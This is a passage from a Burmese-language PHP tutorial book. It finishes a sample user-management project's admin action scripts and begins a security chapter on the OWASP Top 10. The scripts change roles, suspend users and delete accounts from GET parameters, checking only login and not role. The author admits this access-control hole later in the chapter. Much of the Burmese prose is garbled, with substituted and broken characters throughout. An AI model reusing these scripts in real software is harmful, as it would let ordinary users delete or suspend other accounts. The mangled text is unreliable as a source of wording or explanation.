use Helpers\HTTP;
use Helpers\Auth;

$auth = Auth::check();

$table = new UsersTable(new MySQL());

$id = $_GET['id'];
$role = $_GET['role'];
$table->changeRole($id, $role);

HTTP::redirect("/admin.php");

ထူးဖြ]ားတဲ့ကုဒ်  မဟုတ်ပေတာ့ပါဘူး။  သက်ဆိုင်ရာ  URL  Query  တန်Kုိးပေတွကို  $_GET ကပေနရယူပြပီး
ပေစာပေစာကပေရးထားတဲ့  changeRole() ကိုပေ]ါ်ယူအသံုးဖြပုပေပးလိုက်တာပါ။  ဆက်လက်ပြပီးပေတာ့
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_actions/suspend.php မှာအ]ုလုိပေရးပေပးပါ။

 PHP 

<?php

include("../vendor/autoload.php");

use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;
use Helpers\Auth;

$auth = Auth::check();

$table = new UsersTable(new MySQL());

$id = $_GET['id'];
$table->suspend($id);

HTTP::redirect("/admin.php");

အတူတူပါပဲ  ပေစာပေစာက  ပေရးလုိက်တဲ့  suspend() ကိုပေ]ါ်သံုးပေပးထားတာပါ။  ဆက်လက်ပြပီး
_actions/unsuspend.php မှာ ထပ်ပေရးပေပးပါ။

 PHP 

<?php

include("../vendor/autoload.php");

use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;
use Helpers\Auth;

$auth = Auth::check();

$table = new UsersTable(new MySQL());

$id = $_GET['id'];
$table->unsuspend($id);

HTTP::redirect("/admin.php");

တစ်ကယ်ပေတာ့ suspend.php နဲ့ unsuspend.php ကို နှစ်]ါ]ွဲပြပီး ပေရးစရာမလုိပါဘူး။ Kုိင်တစ်]ုထဲ
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မှာ  ပေရးလုိက်ရင်  ရနိုင်ပါတယ်။  ပေရးလက်စ  ဖြKစ်ပေနလ့ုိသာ ဖြပန်မပေပါင်း  ပေတာတ့ာပါ။  ပေနာက်ဆုံးအပေနနဲ့
_actions/delete.php မှာ အ]ုလုိပေရးပေပးလုိက်ပါ။

 PHP 

<?php

include("../vendor/autoload.php");

use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;
use Helpers\Auth;

$auth = Auth::check();

$table = new UsersTable(new MySQL());

$id = $_GET['id'];
$table->delete($id);

HTTP::redirect("/admin.php");

သူလည်းပဲ ပေစာပေစာကပေရးပေပးထားတဲ့ delete() Method ကို ပေ]ါ်သံုးလိုက်တာပါပဲ။

အ]ုဆိုရင်  ကျွန်ပေတာ်တို့Kန်တီးလုိတဲ့  ပပေရာဂျက်ပေလး  အားလံုးဖြပည့်စုံသွားပါပြပီး။  User  Account  ပေတွ
ပေဆာက်ကြကည့်၊  Login ဝင်ကြကည့်၊ Profile ပေဖြပာင်းကြကည့်ပြပီး စမ်းလို့ရပါပြပီ။ User Role အမျ ို းမျ ို းရှိတဲ့ ထဲက
ရိုးရိုး  User  ဆိုရင်  Manage Users  မှာ စာရင်းပဲ ကြကည့်လ့ုိရမှာ ဖြKစ်ပါတယ်။  Manager  သ့ုိမဟုတ်  Admin
User ဆိုရင်ပေတာ့ Role ပေတွပေဖြပာင်းတာ၊ Suspend လုပ်ပြပီး အပေကာင့်ကို ဘန်းတာ၊ Kျက်တာပေတွ လုပ်လ့ုိရ
သွားပါပြပီ။ Suspend လုပ်ထားတဲ့ အပေကာင့်နဲ့ Login ဝင်တဲ့အ]ါ ဝင်လ့ုိမရပေအာင်လည်း ကြကိုတင် ပေရးသား
]ဲ့ပြပီးဖြKစ်ပါယ်။ ဒါပေကြကာင့် User Account အမျ ို းမျ ို းနဲ့ Login ဝင်ပြပီးပေတာ့ စမ်းကြကည့်နိုင်ပါတယ်။

လုိအပ်တယ်ဆိုရင်  အ]ုပေရးသားပေKာ်ဖြပ]ဲ့တဲ့  ပပေရာဂျက်ရဲ့  Source  Code  အဖြပည့်အစုံကို  ဒီပေနရာမှာ
Download လုပ်ပြပီး ရယူနိုင်ပါတယ်။

– https://github.com/eimg/php-book

https://github.com/eimg/php-book
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Conclusion
တစ်ကယ်တမ်း ဒီထက်ဖြပည့်စုံပေအာင် ထပ်ဖြKည့်သင့်တာပေလးပေတွ ရိှပေသးပေပမယ့် အထက်မှာပေဖြပာ]ဲ့သလိုပဲ
အ]ျနိ်နဲ့ပေနရာကို င့ဲကွက်ရတဲ့အတွက် ဒီပေလာက်နဲ့ပဲ ပေကျနပ်လိုက်ကြကပါ။ 

ကပေန့အ]ျနိ်မှာ  ပပေရာဂျက်ပေတွ  ပေရးသားတဲ့အ]ါ  Laravel,  Symfony  အစရှိတဲ့  Framework  ပေတွကို
အသုံးဖြပုပြပီး  ပေရးသားကြကရတာ များပါလိမ့်မယ်။ ရိုးရိုး  PHP  နဲ့  အ]ုလုိမျ ို း  ကိုယ့်ဘာသာအစအဆုံး  ပေရးK့ုိ
လုိအပ်]ျက် နည်းသွားပါပြပီ။  ဒါပေပမယ့် ဒီစာအုပ်မှာပေKာ်ဖြပထားတဲ့ စာပေတွ့လက်ပေတွ့ သပေဘာသဘာဝပေတွ
က  ကိုယ်တိုင်  ရိုးရိုး  PHP  နဲ့ပေရးရK့ုိ  ရှိလာတဲ့အ]ါမှာ  ပေရးနိုင်ပေစK့ုိ  အပေထာက်အကူ  ဖြKစ်မှာဖြKစ်သလုိ
Framework ပေတွ ပေလ့လာအသံုးဖြပုတဲ့ ပေနရာမှာလည်း အများကြကီး အပေထာက်အကူ ဖြKစ်ပေစမှာပါ။ 

သိသင့်တဲ့  အပေဖြ]]ံပေတွ  မဖြပည့်စုံဘဲ    Framework    ပေတွ  တိုက်ရိုက်အသံုးဖြပုK့ုိ  ကြကိုးစားတဲ့အ]ါ  လွယ်လွယ်  
ပေလးနဲ့  ပြပီးရမှာကို  မ]က်သင့်ဘဲ အရမ်း]က်ပေနတာပေတွ၊    Framework    ကြကီး သံုးထားရက်နဲ့ ပေရးတဲ့ကုဒ်က  
စနစ်မကျ  ဖြKစ်ပေနတာပေတွ  ကြကုံရပါလိမ့်မယ်။  လုိအပ်တဲ့အပေဖြ]]ံပေတွ  ပေကြကညက်ပြပီးသူ  အတွက်ပေတာ့  ဒီ
Framework ပေတွက ပေပးတဲ့ လုပ်ပေဆာင်]ျက်ပေတွကို ထိထိပေရာက်ပေရာက် အသံုး]ျနိုင်မှာဖြKစ်လ့ုိ စနစ်ကျပြပီး
အလုပ်တွင်တဲ့ ရလဒ်ပေကာင်းပေတွကို ရရှိမှာပဲ ဖြKစ်ပါတယ်။
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အခန်း (၁၆) – Security

Web Development အပါအဝင် ပေဆာ့K်ဝဲပေရးသားမှု ပညာပေတွကို ပေလ့လာကြကတဲ့အ]ါ တစ်]ျ ို ့က ပေပျာ်စရာ
ပေကာင်းတယ်လ့ုိ  ထင်နိုင်ပါတယ်။  တစ်]ျ ို ့ကပေတာ့  သိပ်စိတ်ညစ်K့ုိ  ပေကာင်းတာပဲလ့ုိ  ယူဆနိုင်ပါတယ်။
တစ်ကယ်ပေတာ့  Development  ဆိုတဲ့  ပေရးသားKန်တီးဖြ]င်းဟာ  အလွယ်ဆုံးအဆင့်ပဲ  ရှိပါပေသးတယ်။
ပေကြကညက်သင့်တဲ့  အပေဖြ]]ပံေတွ  ပေကြကညက်ပြပီး  အပေတွ့အကြကုံ  အထုိက်အပေလ�ာက်  ရှိလာတဲ့အ]ါ  ဒါကို
သပေဘာပေပါက်သွားပါလိမ့်မယ်။ တစ်ကယ်တမ်း အပေတွ့အကြကုံ ရင့်ကျက်လှပါတယ်ဆိုတဲ့ ဝါရင့် ပရိုဂရမ်မာ
ကြကီးပေတွအတွက်ပေတာင် ]က်]ဲပေနဦးမယ် အပေကြကာင်းအရာပေတွ ကျန်ပါပေသးတယ်။ အ့ဲဒါပေတွကပေတာ့ – 

၁။ Performance
၂။ Security
၃။ Maintenance နဲ့
၄။ Scalability တို့ပဲ ဖြKစ်ပါတယ်။

အသုံးဖြပုလ့ုိရပေအာင်  Kန်တီးရတာ  လွယ်ပါတယ်။  Performance  ပေကာင်းပြပီး  ဖြမန်တဲ့  ပေဆာ့K်ဝဲတစ်]ုဖြKစ်
ပေအာင် Kန်တီးရတာပေတာ့ ]က်ပါတယ်။ Security ပေကာင်းပြပီး လံုခြ]ုံတဲ့ ပေဆာ့K်ဝဲတစ်]ုဖြKစ်ပေအာင် Kန်တီးရ
တာ ]က်ပါတယ်။ Maintenance ပေကာင်းပြပီး ဖြပုဖြပင်ထိန်းသိမ်းရလွယ်ကူတဲ့ ပေဆာ့K်ဝဲဖြKစ်ပေအာင် Kန်တီးရ
တာ ]က်ပါတယ်။ Scalability ပေကာင်းပြပီး လူပေပါင်းများစွာက ပေကာင်းမွန်စွာ အသုံးဖြပုနိုင်တဲ့ ပေဆာ့K်ဝဲဖြKစ်
ပေအာင် Kန်တီးရတာ ]က်ပါတယ်။
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ဒါပေတွက စာပေတွ့သက်သက်နဲ့  တတ်ကျွမ်းမယ့် အရာပေတွ မဟုတ်ပေတာ့ပါဘူး။ လုပ်ငန်း]ွင်မှာ လက်ပေတွ့
ပပေရာဂျက်ပေတွ လုပ်ကြကရင်းနဲ့  အပေတွ့အကြကုံကပေန ဆက်လက်သင်ယူသွားမှသာ ရနိုင်မယ့် ကိစ္စပေတွ ဖြKစ်
သွားပါပြပီ။ ဒီလိုပဲ သင်ယူရင်း ]ရီးဆက်ကြကရမှာပါ။ 

စာKတ်သူအများစုဟာ ပေလ့လာဆဲအဆင့်လ့ုိ ယူဆတဲ့အတွက် အဆင့်ပေကျာ် အကျယ်မ]ျဲ့ဖြKစ် ပေပမယ့်၊ ပေရှ့
လမ်း]ရီးကို  ဆက်ကြကရာမှာ ပေဖြKာင့်ဖြKူးပေ]ျာပေမွ့ပေစK့ုိအတွက်၊  လ�င်ဖြမန်ပေပါက်ပေရာက်ပေစK့ုိအတွက်၊  ပေပးလ့ုိ
ရသမ�  အပေဖြ]]ံပေကာင်းနဲ့  လမ်းညွှန်]ျက်ပေတွကိုပေတာ့  ဒီစာအုပ်မှာ  ထည့်သွင်းပေပး]ဲ့ပါတယ်။  စွမ်းပေဆာင်
ရည်ပေကာင်းတဲ့ကုဒ်ပေတွ  ပေရးနိုင်K့ုိအတွက်  သိသင့်တဲ့အပေဖြ]]ံ  ဗဟုသုတပေတွ၊  ဖြပုဖြပင်ထိမ်းသိမ်းရလွယ်တဲ့
ကုဒ်ပေတွ ပေရးနိုင်K့ုိအတွက် သိသင့်တဲ့အပေဖြ]]ံ ဗဟုသုတပေတွ၊ တိုး]ျဲ့ဖြမှင့်တင်ရ လွယ်ကူတဲ့ကုဒ်ပေတွ ပေရးနိုင်
K့ုိအတွက်  သိသင့်တဲ့  အပေဖြ]]ံဗဟုသုတပေတွ  သ့ူပေနရာနဲ့သူ  အလ�င်းသင့်ရင်  သင့်သလို  ထည့်ပေပးထား]ဲ့ပါ
တယ်။ ပေသ]ျာထည့် မပေဖြပာဖြKစ်]ဲ့တာကပေတာ့ လံုခြ]ုံပေရးနဲ့ ပက်သက်တဲ့အပုိင်းပဲ ဖြKစ်ပါတယ်။ ဒါပေကြကာင့် ဒီ
စာအုပ်ရဲ့ ပေနာက်ဆုံး ဒီအ]န်းမှာ သိသင့်တဲ့ လံုခြ]ုံပေရးဗဟုသုတ အ]ျ ို ့ကို ထည့်သွင်းပေKာ်ဖြပပေပးမှာပါ။

လံုခြ]ုံပေရးနဲ့ပက်သက်ရင် ပထမဆုံး မှတ်သားသင့်တဲ့ အ]ျက်ကပေတာ့ ၁၀၀  %   လံုခြ]ုံတဲ့ စနစ်ဆိုတာ   မရှိနိုင်
ဘူးဆိုတဲ့  အ]ျက်ပဲဖြKစ်ပါတယ်။ နည်းနည်းလံုခြ]ုံတာနဲ့၊  များများလံုခြ]ုံတာပဲ ကွာသွားပါမယ်။ အဖြပည့်အဝ
လံုခြ]ုံတယ်ဆိုတာပေတာ့  မရှိနိုင်ပါတယ်။  လံုခြ]ုံပေရးဆိုတာ  Risk  Management  လုပ်ငန်းလ့ုိ  ပေဖြပာကြကပါ
တယ်။  ဘယ်ပေလာက်ထိ  လံုခြ]ုံပေအာင်  လုပ်မှာလဲဆိုတာကို  လုိအပ်]ျက်ပေပါ်  မူတည်ပြပီး  တွက်]ျက်ရတဲ့
အလုပ်ပါ။ ဒါကိုဖြမင်သာပေအာင် လူပေနအိမ်တစ်လုံးနဲ့ ဥပမာပေပးလို့ရပါတယ်။

တံ]ါးမရှိတဲ့အိမ်တစ်လံုးဟာ လံုခြ]ုံမှုလံုးဝမရှိတဲ့အိမ်လ့ုိ ဆိုနိုင်ပါတယ်။ ဒါပေကြကာင့် လံုခြ]ုံမှုရှိသွားပေအာင် အ့ဲဒီ
အိမ်ကို  တံ]ါးတပ်ပြပီး  ပေသာ့]တ်လုိက်မယ်ဆိုရင်  လံုခြ]ုံသွားပါတယ်။  လံုခြ]ုံသွားပြပီဆိုပေတာ့  အဖြပည့်အဝ
လံုခြ]ုံသွားတာလား။  မဟုတ်ပေသးပါဘူး။  ပေသာ့ကိုKျက်ပြပီး  ဝင်မယ်ဆိုရင်  ဝင်လို့  ရနိုင်ပါပေသးတယ်။
ပေနာက်ပေKးပေပါက်က လှည့်ဝင်မယ်ဆိုရင် ရနိုင်ပါပေသးတယ်။ ဖြပူတင်းပေပါက်ကို]ွဲဝင်မယ်ဆိုရင် ရနိုင်ပါပေသး
တယ်။ ဒါပေကြကာင့် ဒီထက်ပိုလံုခြ]ုံသွားပေအာင် အုတ်တံတိုင်း]တ်လုိက်လ့ုိ ရပါတယ်။ ဒီလုိ အုတ်တံတိုင်း ]တ်
လုိက်တဲ့အတွက် အရင်ထက်ပုိပြပီး လံုခြ]ုံသွားပါပြပီ။ လံုခြ]ုံပေရးတစ်ဆင့် ဖြမင့်သွားပါပြပီ။ ဒါဆိုရင် အဖြပည့်အဝ
လံုခြ]ုံပြပီလား  ဆိုရင်ပေတာ့  မဟုတ်ပေသးပါဘူး။  ပေကျာ်တက်မယ်ဆိုရင်  တက်လ့ုိရနိုင်ပါတယ်။  ဒါပေကြကာင့်
သံဆူးကြကိုး ထပ်တင်မယ်ဆိုရင် ပေနာက်တပ်လုံခြ]ုံပေရးတစ်ဆင့် ဖြမင့်သွားဖြပန်ပါပြပီ။ စီစီတီဗီွပေတွ တပ်ပြပီးပေတာ့
လံုခြ]ုံပေရး  ဖြမှင့်လို့ရနိုင်ပါပေသးတယ်။  လူပေစာင့်ထားပြပီးပေတာ့  ဖြမှင့်လ့ုိ  ရနိုင်ပါပေသးတယ်။  ဒီထက်မက
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အဆုံးစွန်ထိ လုပ်]ျင်တယ်ဆိုရင်ပေတာ့ စပုိင်ရုပ်ရှင်ပေတွထဲကလုိ Motion Sensor ပေတွ၊ Alarm ပေတွ၊ ဗ့ုိအား
ဖြမင့် လ�ပ်စစ်အားလွှတ် ခြ]ံစည်းရိုးပေတွထိ လုပ်ရပါပေတာ့မယ်။ ဒါပေတွအားလံုးလုပ်ပြပီးရင်ပေတာ့  အဖြပည့်အဝ
လံုခြ]ုံသွားပြပီလား။  မဟုတ်ပေသးပါဘူး။  ပေတာ်ပေတာ်ကြကီးပေတာ့  လံုခြ]ုံသွားပါပြပီ။  ထုိးပေKာက်ဝင်ပေရာက်K့ုိ
အရမ်း]က်သွားပါပြပီ။ ဒါပေပမယ့် ၁၀၀% လံုးဝ လံုခြ]ုံသွားပြပီလ့ုိပေတာ့ ပေဖြပာလ့ုိရနိုင်မှာ မဟုတ်ပါဘူး။

ဒီသပေဘာသဘာဝပေကြကာင့် လံုခြ]ုံပေရးကို  Risk Management  လ့ုိပေဖြပာကြကတာပါ။ ဘယ်ပေလာက် အပေရးကြကီး
တဲ့ကိစ္စလဲ။ ဘတ်ဂျက်ဘယ်ပေလာက်ထိ တတ်နိုင်လဲ။ စသည်ဖြKင့် အပေရးကြကီးမှုနဲ့  ပေပးနိုင်တဲ့ဘတ်ဂျက်ပေပါ်
မှာ အပေကာင်းဆုံးရလဒ်တစ်]ုရပေအာင် တွက်]ျက်ပေဆာင်ရွကရ်တဲ့ လုပ်ငန်း အမျ ို းအစားပါ။

ပြပီးပေတာ့ လံုခြ]ုံပေရးနဲ့  အသံုးဖြပုရ အဆင်ပေဖြပလွယ်ကူမှုဟာ ပေဖြပာင်းဖြပန်အ]ျ ို းကျ ပေနဖြပန်ပါတယ်။ ပေစာပေစာ
က ပေဖြပာ]ဲ့တဲ့ အိမ်နမူနာမှာပဲ ဖြပန်ကြကည့်ပါ။ တံ]ါးမရှိ ပေသာ့မရှိဆိုပေတာ့ ဝင်ရထွကရ်တာ အရမ်းလွယ်တယ်
ပေလ။ တ]ံါးတပ်ပြပီး  ပေသာ]တ်ထားပေတာ့  ဝင်]ါနီး  ထွက်]ါနီးရင်  ပေသာ]တ်၊  ပေသာ့Kွင့်  ပေနရပါပေသးတယ်။
လံုခြ]ုံပေရးအဆင့်  ဖြမှင့်လုိက်တိုင်းမှာ  အဆင်ပေဖြပလွယ်ကူမှုကို  ပေလျာ့ကျသွားပေစနိုင်ပါတယ်။  လူလာတာနဲ့
အိမ်ရှင်မှန်းသိပြပီး  တံ]ါးက အလုိအပေလ�ာက်  Kွင့်ပေပးရင်ပေတာ့  အဆင်ပေဖြပလွယ်ကူမှုကို  မထိ]ိုက်ပေတာ့ဘူး
ပေပါ့။  ဒါပေပမယ့် အ့ဲဒီလိုစနစ်မျ ို း  ရK့ုိ  ကုန်ကျစရိတ်ပေတာ့  ရှိသွားပါပြပီ။  ဒါပေကြကာင့်  Security,  Usability  နဲ့
Cost ကုန်ကျစရိတ် တို့ဟာ သံုးပွင့်ဆိုင် အားပြပိုင်ကြကရတယ်လ့ုိလည်း ဆိုနိုင်ပါတယ်။ (၃)  ]ုထဲက နှစ်]ုကို
ပေရွးရပါလိမ့်မယ်။ (၃) ]ုလံုးပေတာ့ မရနိုင်ပါဘူး။

ပေနာက်တစ်]ါ၊ လံုခြ]ုပံေရးမှာ အလွှာလုိက် အဆင့်ပေတွလည်း ရိှပါပေသးတယ်။ Web Application တစ်]ုမှာဆို
ရင်  Application Security,  Software Security,  Network Security,  Hardware Security,  Physical
Security  စသည်ဖြKင့်  အဆင့်ဆင့် ရှိနိုင်ပါတယ်။  Application Security  ဆိုတာ ပေရးသားထားတဲ့  ကုဒ်နဲ့
အသုံးဖြပုထားတဲ့  နည်းပညာပေတွရဲ့  လံုခြ]ုံစိတ်]ျရမှု  ဖြKစ်ပါတယ်။  Software  Security  ဆိုတာ  ဒီ
Application ကို  Run K့ုိ အသံုးဖြပုထားတဲ့  Web Server, Programming Language, Server Operating
System  စတဲ့  ပေဆာ့K်ဝဲပေတရွဲ့  လံုခြ]ုံမှုပါ။  Network  Security  ကပေတာ့  Application  Server  ရှိပေနတဲ့
Network ကွန်ယက်ရဲ့ လံုခြ]ုံမှုပါ။  Hardware Security ကပေတာ့ Server ကွန်ပျူတာအပါအဝင် တပ်ဆင်
အသုံးဖြပုထားတဲ့  စက်ပစ္စည်းပေတွရဲ့  လံုခြ]ုံမှုပါ။  Physical  Security  ကပေတာ့  တပ်ဆင်ထားတဲ့  Server
တည်ရှိရာ  Data Center  သ့ုိမဟုတ်  Server Room ရဲ့ လံုခြ]ုံမှုပါ။ ဒီအဆင့်ပေတွထဲက တစ်]ုမှာ လံုခြ]ုံပေရး
အားနည်း]ျက်ရှိတာနဲ့  စနစ်တစ်]ုလံုးကို  ထိ]ိုက်သွားပေစမှာ  ဖြKစ်ပါတယ်။  ဒါပေတွအားလံုး  လံုခြ]ုံသင့်
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သပေလာက်  လံုခြ]ုံပါတယ်  ဆိုရင်ပေတာင်  Human  Error  က  ရှိနိုင်ပါပေသးတယ်။  စရိတ်ပေတွ  အကုန်]ံပြပီး
လံုခြ]ုံပေအာင် လုပ်ထားရပေပမယ့်၊  တစ်ကယ်တမ်းဖြKစ်]ျင်ပေတာ့  Admin User  ဆီက  Password  ရသွားလ့ုိ
အကုန်ပါသွားတယ်ဆိုတာမျ ို းက ]ဏ]ဏကြကားပေနရတာပါ။ ဒီလုိ လူပေကြကာင့် ဖြKစ်တဲ့ လံုခြ]ုံပေရးဖြပဿနာက
ပေစာပေစာကပေဖြပာတဲ့ လံုခြ]ုံပေရးအလွှာပေတွမှာ ဖြKစ်တဲ့ ဖြပဿနာထက်ပေတာင် ပုိများနိုင်ပါပေသးတယ်။

ဒီလိုမျ ို းကိစ္စပေတွပေကြကာင့်ပဲ ]က်]ဲကျယ်ဖြပန့်တဲ့ သီးဖြ]ားဘာသာရပ်တစ်]ုလ့ုိပေဖြပာတာပါ။ စာပေရးသူကိုယ်တိုင်
ကပေတာ့ အ့ဲဒီဘာသာရပ်ကို အထူးဖြပုကျွမ်းကျင်သူ မဟုတ်ပါဘူး။ ကိုယ့်အိမ်လံုပေအာင် ပေသာ့]တရ်တယ် ဆို
တာပေလာက်ကို သိရှိသူ  Developer  တစ်ဦးသာဖြKစ်ပါတယ်။ လက်ပေတွ့လုပ်ငန်း]ွင်မှာ အထူးဖြပုကျွမ်းကျင်
သူပေတွရဲ့ အကူအညီကို ယူနိုင်ရင် ပုိပေကာင်းပါတယ်။ ယူနိုင်သည်ဖြKစ်ပေစ မယူနိုင်သည်ဖြKစ်ပေစ ပေရးထားတဲ့
ကုဒ်မှာ ပေတွ့ရပေလရ့ှိတဲ့ လံုခြ]ုံပေရး ဖြပဿနာပေတွကို ပေဖြKရှင်းပေပးရမှာကပေတာ့  Developer  ပေတွရဲ့ တာဝန်ပဲ
ဖြKစ်ပါတယ်။

OWASP Top 10
Web Application Security  နဲ့ပက်သက်ရင် အဓိကအကျဆုံး ကိုးကားပေလ့လာစရာကပေတာ့  OWASP လ့ုိ
အတိုပေကာက်ပေ]ါ်တဲ့ Open Web Application Security Project ပဲ ဖြKစ်ပါတယ်။ အရင်ကဆိုရင် OWASP
Top 10 ဆိုပြပီးပေတာ့ Web Application ပေတွမှာ ပေတွ့ရပေလရ့ှိတဲ့ အဓိက လံုခြ]ုံပေရးဖြပဿနာစာရင်းကို မကြကာ
မကြကာ ထုတ်ဖြပန်ပေပးပေလ့ ရိှပါတယ်။ (၂၀၁၇) ]ုနှစ်တုံးက ပေနာက်ဆုံးထုတ်ဖြပန်]ဲ့ပြပီး အ]ုပေနာက်ပုိင်း အ့ဲဒီလုိ
ထုတ်မပေပးတာပေတာ့  ကြကာပါပြပီ။  ပေနာက်ဆုံးထုတ်ဖြပန်ထားတဲ့  အပေတွ့ရအများဆုံး  လံုခြ]ုံပေရးဖြပဿနာ
စာရင်းက ဒီလုိပါ –

1. Injection – ဒီကဏ္ဍမှာ ပါဝင်တဲ့ SQL Injection အပေကြကာင်းကို ]ဏပေနပေတာ့မှ ပေဖြပာပါမယ်။

2. Broken Authentication – User Login Data ကို Cookie ထဲမှာသိမ်းမိတယ် ဆိုကြကပါစို့။ ဒုက္ခပေပး
]ျင်သူက သ့ူ Cookie ကို Kွင့်ကြကည်လုိက်တဲ့အ]ါ role=1 ဆိုတဲ့တန်Kုိးတစ်]ုကို ပေတွ့သွားတယ်
ဆိုရင် အ့ဲဒီ တန်Kုိးကို role=3 လ့ုိပေဖြပာင်းလုိက်တာနဲ့ ရိုးရိုး User ဖြKစ်ရမယ့်သူက Admin User 
ဖြKစ်သွားပါပြပီ။ Broken Authentication ဆိုတာ အ့ဲဒီလုိဖြပဿနာမျ ို းပေတွကို ပေဖြပာတာပါ။ နည်း
နည်း ပုိလံုခြ]ုံပေအာင် Session ထဲမှာပေတာ့ သိမ်းထားပါရဲ့၊ Session ID ပေတွက ပေပါ်ပေနရင် အ့ဲဒီ ID 
ပေတွယူသံုးပြပီး ဒုက္ခပေပးတာမျ ို းပေတွကလည်း ရိှနိုင်ပါပေသးတယ်။ ဒီသပေဘာမျ ို းပေတွကိုပေဖြပာတာပါ။
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3. Sensitive Data Exposure – ပပေရာဂျက်မှာ လုိအပ်လ့ုိ တစ်]ျ ို ့အပေရးကြကီးတဲ့ အ]ျက်အလက်ပေတွ
ကို Kုိင်နဲ့သိမ်းပြပီး ပပေရာဂျက်Kုိဒါထဲမှာ ထည့်ထားမိတာမျ ို းပေတွ ရှိတတ်ကြကပါတယ်။ ပေနာက်မှ ဖြပန်
Kျက်မယ်ဆိုပြပီး မKျက်ဖြKစ်ဘဲ ပေမ့သွားတာပဲဖြKစ်ဖြKစ်၊ ဘယ်သူမှ မသိပေလာက်ပါဘူးဆိုပြပီး ထားလုိက်
မိတာမျ ို းပဲဖြKစ်ဖြKစ် အကာအကွယ်မရှိဘဲ ကျန်ပေနတတ်ပါတယ်။ Github တို့ ဘာတိုမှာ Source 
Code ပေတွ တင်ကြကတဲ့အ]ါ Server Database Password ပေတွက ကုဒ်ထဲမှာ ပါပေနလ့ုိ လူတိုင်း
ပေတွ့ပေနရတာမျ ို းပေတွက အများကြကီး ရိှပေနပါတယ်။ ဒီလုိဖြပဿနာမျ ို းကို ပေဖြပာတာပါ။

4. XML External Entities (XXE) – ဒီဖြပဿနာကိုပေတာ့ စာပေရးသူကိုယ်တိုင် မကြကုံKူးတဲ့အတွက် 
ပေသ]ျာမသိပါဘူး။

5. Broken Access Control – ဒီဖြပဿနာက ကျွန်ပေတာ်တို့ ပေရး]ဲ့တဲ့ နမူနာပပေရာဂျက်မှာကို ရှိပေနပါ
တယ်။ စစ်ရမယ့် Authentication ကို စုံပေအာင်မစစ်မိဘဲ ကျန်ပေနတာမျ ို းပါ။ Login ဝင်ထားသူမှ 
အသုံးဖြပု]ွင့်ပေပးမယ့် ကိစ္စပေတွကို Auth::check() နဲ့ စစရ်ပါတယ်။ မစစ်မိဘဲ ကျန်ပေနတဲ့ Kုိင်
ပေတွ ရှိပါတယ်။ ဥပမာ - _actions/populate.php။ ပြပီးပေတာ့ Manger သ့ုိမဟုတ် Admin 
မှလုပ်]ွင့်ပေပးမယ်သာ ပေဖြပာတာပါ။ delete.php တို့ suspend.php တို့မှာ 
Auth::check() ပဲစစ်ထားပါတယ်။ Role Value ကို မစစ်ထားပါဘူး။ ဒါပေကြကာင့် ရိုးရိုး User 
ကသာ ဒါကိုသိမယ်ဆိုရင် သ့ူမှာ အ]ွင့်မရှိဘဲ Delete တို့ Suspend တို့ကို လုပ်လ့ုိရသွားမှာပါ။

6. Security Misconfiguration – ဒါကပေတာ့ Web Server ပေတွ Database Server ပေတွမှာ Local 
မှာသံုးတဲ့ Setting နဲ့ Production မှာ သံုးမိကြကတာမျ ို းပေတွပါ။ ဥပမာ – လက်ရှိ MySQL မှာ 
Username root နဲ့ Password မရှိပါဘူး။ အ့ဲဒါကို Server ပေပါ်တင်သံုးမိတာမျ ို းပေတွ ဖြKစ်တတ်
ပါတယ်။ ပေရှ့မှာကုဒ်ပေတွနဲ့ အပေသစစ်ထားပေပမယ့် ပေနာက်က Database ကြကီးက ဒီအတိုင်း ဝင်လို့
ရပေနတာမျ ို းပါ။

7. Cross-Site Scripting (XSS) – ဒီအပေကြကာင်းကို ]ဏပေနမှ ပေဖြပာပါမယ်။
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8. Insecure Deserialization – PHP မှာ eval() ဆိုတဲ့ Function တစ်]ရုှိပါတယ်။ String ပေတွ
ကို ပေပးလုိက်ရင် Code အပေနနဲ့ Run ပေပးနိုင်ပါတယ်။ ဥပမာ – eval("echo 1 + 2;")။ 
တစ်]ျ ို ့ပပေရာဂျက်ပေတွမှာ တစ်ပေနရာကပေန ကုဒ်ပေတွကို Download လှမ်းယူပြပီး eval() နဲ့ Run
လုိက်တယ်ဆိုတဲ့သပေဘာမျ ို းပေတွ သံုးကြကပါတယ်။ ဒီလုိကုဒ်ပေတွဟာ အလွန်အန္တရာယ်များတဲ့ ကုဒ်
ပေတွပါ။ ယူလုိက်တဲ့ Content ကိုပေသ]ျာမစစ်ဘဲ Run မိတဲ့အ]ါ ဒုက္ခပေပးနိုင်တဲ့ ကုဒ်ပေတွပါလာလ့ုိ 
အကြကီးအကျယ် ဖြပဿနာတက်ရတာမျ ို းပေတွ ရှိနိုင်ပါတယ်။ ဒီသပေဘာမျ ို းကို ပေဖြပာတာပါ။

9. Using Component with Known Vulnerabilities – ဒီစာကိုပေရးပေန]ျနိ်နဲ့ မပေရှးမပေနှာင်းမှာပဲ 
အပေမရိကန်သမ္မတရဲ့ အိမ်ဖြKူပေတာ်ဝဘ်ဆိုက်ကို WordPress လ့ုိပေ]ါ်တဲ့ PHP CMS နည်းပညာနဲ့ 
တည်ပေဆာက်ထားတာ သတိဖြပုမိပါပေသးတယ်။ WordPress ဝဘ်ဆိုက်ပေတွဟာ Hack ရလွယ်
တယ်၊ လံုခြ]ုံပေရး အရမ်းအားနည်းတယ်ဆိုပြပီးပေတာ့ နာမည်ဆိုးပါတယ်။ အိမ်ဖြKူပေတာ်ဝဘ်ဆိုက်လုိ
မျ ို းကပေတာင် သံုးထားတာပဲ၊ တစ်ကယ်ပေတာ့ WordPress က လံုခြ]ုံပေရးအားမနည်းပါဘူး။ 
WordPress ကိုအသံုးဖြပုထားတဲ့ ဝဘ်ဆိုက်ပေတွမှာ လံုခြ]ုံပေရးဖြပဿနာ များရဖြ]င်း အပေကြကာင်းရင်း
ကပေတာ့ လံုခြ]ုပံေရးအရည်အပေသွး အားနည်းလွန်းတဲ့ Themes ပေတွ Plugins ပေတွကို သံုးထားမိကြက
လ့ုိပါ။ ဒီသပေဘာမျ ို းကို ပေဖြပာတာပါ။

10. Insufficient Logging & Monitoring – လံုခြ]ုံပေရး ဖြပဿနာတစ်]ုတက်လာတဲ့အ]ါ ဘာပေကြကာင့်
လဲဆိုတဲ့ ရင်းဖြမစ်ကို အရင်ရှာရမှာပါ။ ရင်းဖြမစ်ကို ပေတွ့ ပြပီဆိုပေတာ့မှသာ ပေနာင်မဖြKစ်ပေအာင် ပေဖြKရှင်း
